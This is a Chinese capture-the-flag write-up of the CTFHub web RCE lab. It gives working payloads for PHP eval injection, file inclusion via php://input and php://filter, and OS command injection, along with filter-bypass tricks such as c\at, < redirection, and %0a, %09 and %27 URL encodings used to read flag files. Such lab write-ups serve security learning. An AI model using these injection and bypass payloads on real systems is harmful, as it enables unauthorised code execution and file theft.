微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

CTFHub-web(RCE)

文章目录

eval执行

打开关卡

在这里插入图片描述意思是判断cmd是否被设置,若cmd被赋值,则执行如下语句,否则就继续显示以上代码

我们先在url后输入

?cmd=system("ls");

查看根目录

在这里插入图片描述

然后输入

?cmd=system("ls /");

返回上一级

在这里插入图片描述

flag很显眼然后输入

?cmd=system("cat /文件名");

得到flag

在这里插入图片描述

文件包含

我们打开关卡

在这里插入图片描述

有个shell按钮,我们点击

在这里插入图片描述

这里使用火狐Hacker插件发现里面有个ctfhub变量,我们把shell.txt赋值给file

?file=shell.txt

再查看根目录

在这里插入图片描述


然后看到flag

在这里插入图片描述


我们输入

ctfhub=system("cat /flag");

即可得到flag

在这里插入图片描述

PHP://input

补充知识:
PHP://input是什么?
PHP:// ~ 来访问各个输入/输出流(I/O streams),PHP://input 是个可以访问请求的原始数据的只读流。POST 请求的情况下,最好使用 PHP://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 PHP.ini 指令。
它是PHP一个只读的协议,使用时会将请求放在body中

简单的说PHP://input用于执行PHP代码
首先我们看源码

在这里插入图片描述


然后点开PHPinfo查看发现

在这里插入图片描述

证明是可以使用PHP://input
然后我们使用burp抓包,构造
方法:POST
目标:/?file=PHP://input
Body:<?PHP system("ls /"); ?>

在这里插入图片描述


然后用cat查看

在这里插入图片描述

得到flag

读取源代码

我们使用使用 PHP://input ,发现不成功,我们可以使用另一个

在这里插入图片描述


然后我们在url后添加

/?file=PHP://filter/resource=/flag

然后访问即可得到flag

在这里插入图片描述

远程包含

我们发现有strpos函数

在这里插入图片描述


可以使用PHP://input

在这里插入图片描述


然后我们使用burp抓包,修改

POST /?file=PHP://input 
<?PHP system("ls /")?>
<?PHP system("cat /flag")?>

在这里插入图片描述

然后cat查看flag
发现flag

在这里插入图片描述

命令注入

进入页面后给出的源码,题目要求输入IP地址执行ping命令

在这里插入图片描述

我们尝试输入127.0.0.1;ls

在这里插入图片描述

有个文件我们用cat查看
输入

127.0.0.1;cat 272442575313345.PHP

ping后查看页面代码即可得到flag

在这里插入图片描述

过滤cat

首先我们依然是ls查看当前目录
因为过滤掉了cat,我们使用 \ ‘’ “” {任意无意义变量名}等方法均可绕过

在这里插入图片描述


我们输入

127.0.0.1;c\at flag_170742479022746.PHP

查看页面代码即可得到flag

在这里插入图片描述

过滤空格

首先我们依然是ls查看当前目录
因为空格被过滤了,我们可以使用 < 或 <> 重定向符来代替空格。
输入

127.0.0.1;cat<flag_154793093332529.PHP

查看页面代码即可得到flag

在这里插入图片描述

过滤目录分隔符

首先我们依然是ls查看当前目录

在这里插入图片描述

发现这里没有后缀了,再根据题目的提示,这就是个文件,我们需要进去,但是目录分隔符被过滤了,那么 ls …/ 这种命令就不能用了,那么我们先使用反斜杠查看这个文件夹里面的小编:

127.0.0.1;ls \flag_is_here

在这里插入图片描述


我们用;同时执行

127.0.0.1 ; cd flag_is_here;cat flag_313792881429974.PHP

查看页面源码即可得到flag

过滤运算符

在这里插入图片描述

首先我们依然是ls查看当前目录
这里是过滤的运算符,我们用;代替&即可通关
跟上述步骤一样,然后查看页面代码

127.0.0.1;ls
127.0.0.1;cat flag_13037231169954.PHP

在这里插入图片描述


得到falg

综合过滤练习

我们发现这道题能过滤的都过滤了

在这里插入图片描述

第一步应该想办法查看当前文件夹的内容,我们使用换行符的url编码 %0a,并且去要在url中修改,这里我用的hacker插件

在这里插入图片描述

我们需要打开falg_is_here,但是已经过滤了falg
我们可以用Tab的url编码

?ip=127.0.0.1%0als%09*_is_here

因为cat被过滤了,我们可以使用单引号的url编码%27将cat的任意字母包裹

?ip=127.0.0.1%0acd%09*is_here%0ac%27a%27t%09*_231383221418137.PHP

后执行完查看页面代码即可得到flag

在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐